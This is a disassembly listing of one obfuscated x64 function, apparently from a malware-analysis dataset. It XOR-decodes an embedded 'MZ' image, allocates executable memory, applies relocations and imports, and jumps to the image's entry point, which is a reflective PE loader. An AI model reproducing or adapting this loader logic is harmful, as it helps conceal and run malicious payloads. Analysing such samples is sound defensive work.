Function at 0x180001090
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov ecx, dword [0x180020a6c]
mov eax, dword [0x180020a70]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp eax, 0xa
jl 0x1800010d2
test edi, edi
je 0x1800010d2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1800010d0
cmp eax, 0xa
jl 0x1800010df
test edi, edi
jne 0x1800011c3
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
mov eax, 0x10
call entry0
sub rsp, rax
mov r9, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r8, rsp
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x180001121
test eax, eax
jne 0x1800011a0
cmp ecx, 0xa
jl 0x18000112a
test eax, eax
jne 0x180001190
mov eax, 4
lea r10, section..data
mov rdi, r9
nop dword [rax]
sub rax, 1
jb 0x1800011a2
mov bl, byte [r10]
nop dword [rax]
mov byte [rdi], bl
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
cmp ecx, 0xa
jl 0x18000116e
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
jne 0x180001150
add r10, 1
add rdi, 1
cmp ecx, 0xa
jl 0x180001140
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
je 0x180001140
nop word cs:[rax + rax]
jmp 0x180001190
jmp 0x1800011a0
mov eax, dword [0x180020a70]
cmp eax, 0xa
jl 0x1800011f2
mov ebx, dword [0x180020a6c]
lea esi, [rbx - 1]
imul esi, ebx
mov edi, 1
and esi, 1
je 0x1800011f2
cmp eax, 0xa
jl 0x1800011cc
test edi, edi
jne 0x1800011f0
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
cmp eax, 0xa
jl 0x180001e96
test edi, edi
jne 0x180001f64
jmp 0x180001e96
jmp 0x1800011f0
mov r10d, dword [r9]
test r10, r10
je 0x180001311
xor esi, esi
cmp r10d, 0x10
jb 0x1800012e5
lea rbx, [r10 - 1]
cmp rbx, 0x400
jae 0x1800012e5
mov esi, r10d
and esi, 0xfffffff0
lea rdi, [rsi - 0x10]
mov rbx, rdi
shr rbx, 4
add rbx, 1
mov r9d, ebx
and r9d, 1
test rdi, rdi
je 0x1800012ab
mov rax, r9
sub rax, rbx
xor edi, edi
lea r11, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov ebx, edi
and ebx, 0x3e0
movups xmm1, xmmword [rbx + r11 + 4]
movups xmm2, xmmword [rdi + r11 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rdi + r11 + 0x414]
xorps xmm2, xmm0
movups xmmword [rdi + r11 + 0x404], xmm2
lea ebx, [rdi + 0x10]
and ebx, 0x3f0
movups xmm2, xmmword [rbx + r11 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rdi + r11 + 0x414], xmm1
add rdi, 0x20
add rax, 2
jne 0x180001252
jmp 0x1800012ad
xor edi, edi
test r9, r9
je 0x1800012e0
mov ebx, edi
and ebx, 0x3f0
lea rax, section..data
movups xmm0, xmmword [rbx + rax + 4]
movups xmm1, xmmword [rdi + rax + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rdi + rax + 0x404], xmm1
cmp rsi, r10
je 0x180001311
lea rbx, section..data
mov eax, esi
and eax, 0x3ff
movzx eax, byte [rax + rbx + 4]
xor al, byte [rsi + rbx + 0x404]
xor al, 0xc
mov byte [rsi + rbx + 0x404], al
add rsi, 1
cmp rsi, r10
jb 0x1800012ec
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x180001332
test eax, eax
je 0x180001332
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x180001330
cmp ecx, 0xa
jl 0x18000133b
test eax, eax
jne 0x1800013b0
lea r14, section..data
lea r13, [r10 + r14]
add r13, 0x404
mov eax, 4
mov r9, r13
mov rdx, r8
sub rax, 1
jb 0x1800013b2
mov cl, byte [r9]
nop word cs:[rax + rax]
nop dword [rax + rax]
mov byte [rdx], cl
mov ebx, dword [0x180020a74]
mov esi, dword [0x180020a78]
cmp esi, 0xa
jl 0x18000138e
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
jne 0x180001370
add r9, 1
add rdx, 1
cmp esi, 0xa
jl 0x180001358
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
je 0x180001358
nop word cs:[rax + rax]
jmp 0x1800013b0
cmp dword [0x180020a70], 0xa
jl 0x1800013d2
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800013d2
nop dword [rax]
jmp 0x1800013d0
add r13, 4
mov r9d, dword [r8]
test r9, r9
mov qword [rbp - 8], r13
je 0x180001611
xor ecx, ecx
cmp r9d, 0x20
jb 0x180001515
lea rax, [r9 - 1]
cmp rax, 0x400
jae 0x180001515
lea rax, [r10 + r14]
add rax, 0x408
lea rdx, [r9 + r14]
add rdx, 4
cmp rax, rdx
jae 0x180001439
lea rax, [r9 + r10]
add rax, r14
add rax, 0x408
lea rdx, str.MZPzSLeKyXmjIdclzPntAMXfZBHrQZbsCueTRbhRsjkXapbbAEjVopVXWSegvvMXPExQHufJzetcDtVmVKiVrTbCkWyLPYEfURLyHzKMOiPXvmYObcBwgUKvTJGvMijFkJnspaxEuOajLZILItjBhRDoTwtUrCWwxEXakLGcegDiSIQVCoXjeoAeCOApKqXKQpHsGcmIqmeMOBvSKhOpotlvIEUMiIIRMsoQXsEicXhQeRPOhLdoKtfiqisrFXoTKJonKkOzeuqgCvZdIelzXDSQaFoBHcmEYbdaDkDnhgQwdKTVcgKjMTxhIodRbuoxkVeQuzfSQwJWJmyfUBYGblFDdZDHCDRJbmpVEtmoDyiMeDnjOVaaoiROvLnTLLIHtKLYpHeQsotADuOuCfPaJqTeOYbPmaQxiUrFKlBsseBogxXiDqRJcvlceUsLRMASegIxLfLGQesCrCWibeGGRJmWMcJVWosrpgKzsTGxLLBOXEHJZQosECWjaRzzfBFhrWBLPGVVCRrTRCqRxfoqDugyYyQiCCUiHTLgogbLGZylBzsqODmwILVIjyEZgWZYAgQbQJjvjHMgJcBGKZletIGRDLuAPQcUHLVrwhTFRgxtFWPuveqDRtWnwvMMkywXIAhQVzRJdArjnWVaXRHkSEItyDLIELnrchELcnfnoLnmLuuAlDTjSGAuocuGtaxygFwQtBXCpDCjkPdHcxfLvwSkTzsAfnkzLnqiDcveMfbeDhXxHxBwmxUsdWIhyetkyKvxtCSckODYsdrCiXpVlMdIhLaPPFmFwXumKuPQipdTJLTrAzglQYDfoZyhcClzBpybJAEXYoukssSUHhLqIQvUZnlVrJDMEUToYuUpQgXTPsVZqhQJDfRumqWIvYobTIPXwGbrsCkMeeVFIgglVIqmrSPcjMfHWYAUcUhOGGBFvcAYPDwMPaikypxdhhdjpsqYWuizCMxlGShWFnZGTGUQQyjiyKyrTqXWtznFUguPODxfyPEEahqMqAjrAHU
cmp rax, rdx
jbe 0x180001439
xor ecx, ecx
jmp 0x180001515
mov ecx, r9d
and ecx, 0xffffffe0
lea rbx, [rcx - 0x20]
mov rax, rbx
shr rax, 5
add rax, 1
mov r8d, eax
and r8d, 1
test rbx, rbx
je 0x1800014d2
lea rsi, [r10 + r14]
add rsi, 0x438
mov rbx, r8
sub rbx, rax
xor edi, edi
mov eax, edi
and eax, 0x3c0
movups xmm0, xmmword [rax + r14 + 4]
movups xmm1, xmmword [rax + r14 + 0x14]
movups xmm2, xmmword [rsi + rdi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rsi + rdi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rsi + rdi - 0x10]
movups xmm3, xmmword [rsi + rdi]
movups xmmword [rsi + rdi - 0x30], xmm2
movups xmmword [rsi + rdi - 0x20], xmm0
lea eax, [rdi + 0x20]
and eax, 0x3e0
movups xmm0, xmmword [rax + r14 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rax + r14 + 0x14]
xorps xmm1, xmm3
movups xmmword [rsi + rdi - 0x10], xmm0
movups xmmword [rsi + rdi], xmm1
add rdi, 0x40
add rbx, 2
jne 0x18000146d
jmp 0x1800014d4
xor edi, edi
test r8, r8
je 0x180001508
mov eax, edi
and eax, 0x3e0
movups xmm0, xmmword [rax + r14 + 4]
movups xmm1, xmmword [rax + r14 + 0x14]
mov rax, qword [rbp - 8]
movups xmm2, xmmword [rax + rdi]
xorps xmm2, xmm0
movups xmm0, xmmword [rax + rdi + 0x10]
xorps xmm0, xmm1
movups xmmword [rax + rdi], xmm2
movups xmmword [rax + rdi + 0x10], xmm0
cmp rcx, r9
mov r13, qword [rbp - 8]
je 0x180001611
lea rax, [r10 + r14]
add rax, 0x408
mov edx, ecx
and edx, 0x3ff
movzx edx, byte [rdx + r14 + 4]
xor byte [rax + rcx], dl
add rcx, 1
cmp rcx, r9
jb 0x18000151f
jmp 0x180001611
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x18000153e
mov r15, r14
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x18000154b
mov rdi, r15
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001558
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001561
mov rsi, rdi
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x18000156d
mov rbx, rsi
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001579
sub rsp, 0x20
mov rcx, r14
call fcn.180002140
mov rcx, rax
mov rdx, r15
call fcn.180002010
mov rcx, rsi
call rax
mov rcx, rax
mov rdx, rdi
call fcn.180002010
sub rsp, 0x10
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rbx
mov r8, rbx
call rax
add rsp, 0x10
mov rcx, r14
call fcn.180002140
mov rcx, rax
mov rdx, r13
call fcn.180002010
add rsp, 0x20
lea r14, section..data
mov edx, dword [r12 + r14 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rax
add rsp, 0x20
cmp dword [0x180020a7c], 0xa
jl 0x18000162f
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001780
movsxd rax, dword [0x180004440]
add r14, rax
add r14, 0x404
mov r12, r13
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001643
mov r15, r12
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001652
mov r13, r15
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x18000165f
mov rsi, r13
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x18000166d
mov rdi, rsi
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001679
mov rbx, rdi
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001685
sub rsp, 0x20
mov rcx, r12
call fcn.180002140
mov rcx, rax
mov rdx, r15
call fcn.180002010
mov rcx, rdi
call rax
mov rcx, rax
mov rdx, rsi
call fcn.180002010
sub rsp, 0x10
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rbx
mov r8, rbx
call rax
add rsp, 0x10
mov rcx, r12
call fcn.180002140
mov rcx, rax
mov rdx, qword [rbp - 8]
call fcn.180002010
add rsp, 0x20
mov qword [rbp], r14
mov edx, dword [r14 + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rax
add rsp, 0x20
mov r14, rax
mov ecx, dword [0x180020a6c]
mov eax, dword [0x180020a70]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x180001782
test edx, edx
je 0x180001782
movsxd r12, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov r13, qword [rbp - 8]
mov r14, r13
jl 0x18000153e
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r14, r13
and ecx, 1
je 0x18000153e
nop dword [rax + rax]
jmp 0x180001770
jmp 0x180001780
cmp eax, 0xa
jl 0x18000178d
test edx, edx
je 0x18000178d
jmp 0x18000178b
mov rdx, qword [rbp]
lea r8, [rdx + 0x108]
xor r9d, r9d
mov rdx, qword [rbp]
movzx edx, word [rdx + 6]
cmp r9, rdx
jae 0x180001916
lea rax, [r9 + r9*4]
lea r10, [r8 + rax*8]
add r10, 0xc
mov esi, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x1800017d8
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001914
cmp edx, 0xa
jl 0x1800017ec
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001910
mov eax, dword [r10 + 8]
lea rcx, section..data
add rax, rcx
add rax, 0x404
mov ecx, dword [r10 + 4]
mov ebx, dword [r10]
add rbx, r14
sub rcx, 1
jb 0x180001855
movzx edx, byte [rax]
mov byte [rbx], dl
mov esi, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001838
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
je 0x180001838
movzx edx, byte [rax]
mov byte [rbx], dl
jmp 0x180001810
add rax, 1
add rbx, 1
cmp edx, 0xa
jl 0x18000180a
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
je 0x18000180a
jmp 0x180001910
mov ecx, dword [0x180020a6c]
mov eax, dword [0x180020a70]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp eax, 0xa
jl 0x1800018f6
test ebx, ebx
je 0x1800018f6
cmp edx, 0xa
jl 0x18000188b
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001912
mov eax, dword [r10]
add rax, r14
mov ecx, dword [r10 + 4]
mov ebx, dword [r10 + 8]
lea rdi, section..data
add rbx, rdi
add rbx, 0x404
sub rcx, 1
jb 0x1800017c4
movzx edx, byte [rbx]
mov byte [rax], dl
mov esi, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x1800018dc
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
je 0x1800018dc
movzx edx, byte [rbx]
mov byte [rax], dl
jmp 0x1800018b4
add rbx, 1
add rax, 1
cmp edx, 0xa
jl 0x1800018aa
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
je 0x1800018aa
jmp 0x180001912
add r9, 1
cmp eax, 0xa
jl 0x18000179b
test ebx, ebx
je 0x18000179b
jmp 0x18000178b
jmp 0x180001910
jmp 0x180001912
jmp 0x180001914
mov rdi, r14
mov rdx, qword [rbp]
sub rdi, qword [rdx + 0x30]
cmp eax, 0xa
jl 0x180001933
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001933
jmp 0x180001931
mov rdx, qword [rbp]
mov ebx, dword [rdx + 0xb0]
add rbx, r14
movabs r8, 0x1fffffff8
cmp dword [rbx], 0
je 0x180001b04
mov edx, dword [rbx + 4]
cmp rdx, 8
jb 0x180001ad0
cmp eax, 0xa
jl 0x180001974
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x180001afe
add rdx, r8
shr rdx, 1
mov r9d, edx
xor r10d, r10d
cmp r10, r9
je 0x180001ad0
movzx esi, word [rbx + r10*2 + 8]
mov edx, esi
shr edx, 0xc
mov r11d, esi
and r11d, 0xfff
cmp esi, 0xa000
jae 0x1800019cc
cmp edx, 3
jne 0x180001a37
cmp eax, 0xa
jl 0x180001a5e
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001a84
jmp 0x180001a5e
cmp edx, 0xa
jne 0x180001a37
cmp eax, 0xa
jl 0x1800019e5
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001b00
mov esi, r11d
add rsi, r14
mov eax, dword [rbx]
add qword [rax + rsi], rdi
mov ecx, dword [0x180020a6c]
mov eax, dword [0x180020a70]
cmp eax, 0xa
jl 0x180001a37
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001a37
mov eax, dword [rbx]
add qword [rsi + rax], rdi
mov eax, dword [rbx]
add qword [rsi + rax], rdi
jmp 0x1800019f1
add r10, 1
cmp eax, 0xa
jl 0x180001980
and r11d, 1
je 0x180001980
jmp 0x180001afe
lea r11d, [rcx - 1]
imul r11d, ecx
test r11b, 1
sete sil
cmp eax, 0xa
setl dl
or dl, sil
jne 0x180001a1b
xor esi, esi
test sil, 1
mov esi, edx
je 0x180001a54
jmp 0x180001a1b
mov eax, dword [rbx]
lea rax, [r14 + rax*4]
add dword [rax + r11*4], edi
mov ecx, dword [0x180020a6c]
mov eax, dword [0x180020a70]
cmp eax, 0xa
jl 0x180001a37
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001a37
mov eax, r11d
lea rax, [r14 + rax*4]
mov ecx, dword [rbx]
add dword [rax + rcx*4], edi
mov ecx, dword [rbx]
add dword [rax + rcx*4], edi
cmp dword [0x180020a70], 0xa
jl 0x180001aaf
mov ecx, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001a8b
mov ecx, dword [rbx]
add dword [rax + rcx*4], edi
cmp dword [0x180020a70], 0xa
jl 0x180001a5e
mov ecx, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001a8b
jmp 0x180001a5e
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x180001ae2
test edx, edx
jne 0x180001b02
mov esi, dword [rbx + 4]
add rbx, rsi
cmp eax, 0xa
jl 0x18000194a
test edx, edx
je 0x18000194a
jmp 0x180001931
jmp 0x180001afe
jmp 0x180001b00
jmp 0x180001b02
mov rdx, qword [rbp]
mov edx, dword [rdx + 0x90]
mov qword [rbp - 0x10], rdx
mov edi, dword [r14 + rdx + 0xc]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
test edi, edi
je 0x180001dcc
add qword [rbp - 0x10], r14
lea rbx, [r14 + 2]
mov qword [rbp - 0x20], rbx
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
mov edi, edi
test dl, 1
jne 0x180001bbc
cmp eax, 0xa
jl 0x180001b5c
test ebx, ebx
jne 0x180001de7
lea rsi, [r14 + rdi]
sub rsp, 0x20
mov rcx, r12
call fcn.180002140
mov rcx, rax
mov rdx, r15
call fcn.180002010
mov rcx, rsi
call rax
add rsp, 0x20
mov ecx, dword [0x180020a6c]
mov eax, dword [0x180020a70]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp eax, 0xa
jl 0x180001bbc
test ebx, ebx
je 0x180001bbc
sub rsp, 0x20
mov rcx, r12
call fcn.180002140
mov rcx, rax
mov rdx, r15
call fcn.180002010
mov rcx, rsi
call rax
jmp 0x180001b64
cmp eax, 0xa
jl 0x180001c6b
test ebx, ebx
je 0x180001c6b
lea rsi, [r14 + rdi]
sub rsp, 0x20
mov rcx, r12
call fcn.180002140
mov rcx, rax
mov rdx, r15
call fcn.180002010
mov rcx, rsi
call rax
add rsp, 0x20
cmp dword [0x180020a70], 0xa
jl 0x180001c0f
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001de9
lea rsi, [r14 + rdi]
sub rsp, 0x20
mov rcx, r12
call fcn.180002140
mov rcx, rax
mov rdx, r15
call fcn.180002010
mov rcx, rsi
call rax
add rsp, 0x20
cmp dword [0x180020a70], 0xa
jl 0x180001c6b
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001c6b
sub rsp, 0x20
mov rcx, r12
call fcn.180002140
mov rcx, rax
mov rdx, r15
call fcn.180002010
mov rcx, rsi
call rax
jmp 0x180001c17
add rdi, r14
sub rsp, 0x20
mov rcx, r12
call fcn.180002140
mov rcx, rax
mov rdx, r15
call fcn.180002010
mov rcx, rdi
call rax
add rsp, 0x20
mov qword [rbp - 8], rax
mov ecx, dword [0x180020a6c]
mov eax, dword [0x180020a70]
cmp eax, 0xa
jl 0x180001ccc
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001ccc
sub rsp, 0x20
mov rcx, r12
call fcn.180002140
mov rcx, rax
mov rdx, r15
call fcn.180002010
mov rcx, rdi
call rax
jmp 0x180001c72
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
je 0x180001de3
mov rbx, qword [rbp - 0x10]
mov edi, dword [rbx]
mov ebx, dword [rbx + 0x10]
add rdi, r14
mov qword [rbp - 0x18], rdi
add rbx, r14
jmp 0x180001d1e
add qword [rbp - 0x18], 8
add rbx, 8
test sil, 1
sete r8b
cmp eax, 0xa
setl dl
or dl, r8b
cmp dl, 1
jne 0x180001de3
mov rdi, qword [rbp - 0x18]
mov rdi, qword [rdi]
test rdi, rdi
je 0x180001db5
mov rax, qword [rbp - 0x20]
add rax, rdi
test rdi, rdi
movzx edi, di
cmovns rdi, rax
sub rsp, 0x20
mov rcx, r12
call fcn.180002140
mov rcx, rax
mov rdx, r13
call fcn.180002010
mov rcx, qword [rbp - 8]
mov rdx, rdi
call rax
add rsp, 0x20
mov qword [rbx], rax
mov ecx, dword [0x180020a6c]
mov eax, dword [0x180020a70]
lea esi, [rcx - 1]
imul esi, ecx
cmp eax, 0xa
jl 0x180001cfb
mov edx, esi
and edx, 1
je 0x180001cfb
sub rsp, 0x20
mov rcx, r12
call fcn.180002140
mov rcx, rax
mov rdx, r13
call fcn.180002010
mov rcx, qword [rbp - 8]
mov rdx, rdi
call rax
add rsp, 0x20
mov qword [rbx], rax
jmp 0x180001d3f
mov rbx, qword [rbp - 0x10]
mov edi, dword [rbx + 0x20]
add rbx, 0x14
mov qword [rbp - 0x10], rbx
test edi, edi
jne 0x180001b3f
test dl, 1
je 0x180001de5
cmp eax, 0xa
jl 0x180001deb
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
je 0x180001deb
jmp 0x180001de1
jmp 0x180001de3
jmp 0x180001de5
jmp 0x180001de7
jmp 0x180001de9
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a70], 0xa
jl 0x180001e85
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001e85
mov rsi, qword [rbp]
mov eax, dword [rsi + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [rsi + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a70], 0xa
jl 0x180001e57
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001e1d
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r14
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a70], 0xa
jl 0x180001e85
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001e1d
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
cmp ecx, 0xa
jl 0x180001ebc
test ebx, ebx
jne 0x180001f40
cmp ecx, 0xa
jl 0x180001ec5
test ebx, ebx
jne 0x180001f30
mov esi, 4
lea r8, section..data
nop word cs:[rax + rax]
nop dword [rax + rax]
sub rsi, 1
jb 0x180001f42
mov bl, byte [r8]
nop dword [rax]
mov byte [rax], bl
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
cmp ecx, 0xa
jl 0x180001f0e
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
jne 0x180001ef0
add r8, 1
add rax, 1
cmp ecx, 0xa
jl 0x180001ee0
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
je 0x180001ee0
nop word cs:[rax + rax]
jmp 0x180001f30
jmp 0x180001f40
cmp dword [0x180020a70], 0xa
jl 0x1800010eb
mov eax, dword [0x180020a6c]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x1800010eb
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
cmp ecx, 0xa
jl 0x180001f8a
test ebx, ebx
jne 0x180002000
cmp ecx, 0xa
jl 0x180001f93
test ebx, ebx
jne 0x180001ff0
mov esi, 4
lea r8, section..data
nop
sub rsi, 1
jb 0x180001e96
mov bl, byte [r8]
nop dword [rax]
mov byte [rax], bl
mov edx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
cmp ecx, 0xa
jl 0x180001fce
lea edi, [rdx - 1]
imul edi, edx
and edi, 1
jne 0x180001fb0
add r8, 1
add rax, 1
cmp ecx, 0xa
jl 0x180001fa0
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
je 0x180001fa0
nop word cs:[rax + rax]
jmp 0x180001ff0
jmp 0x180002000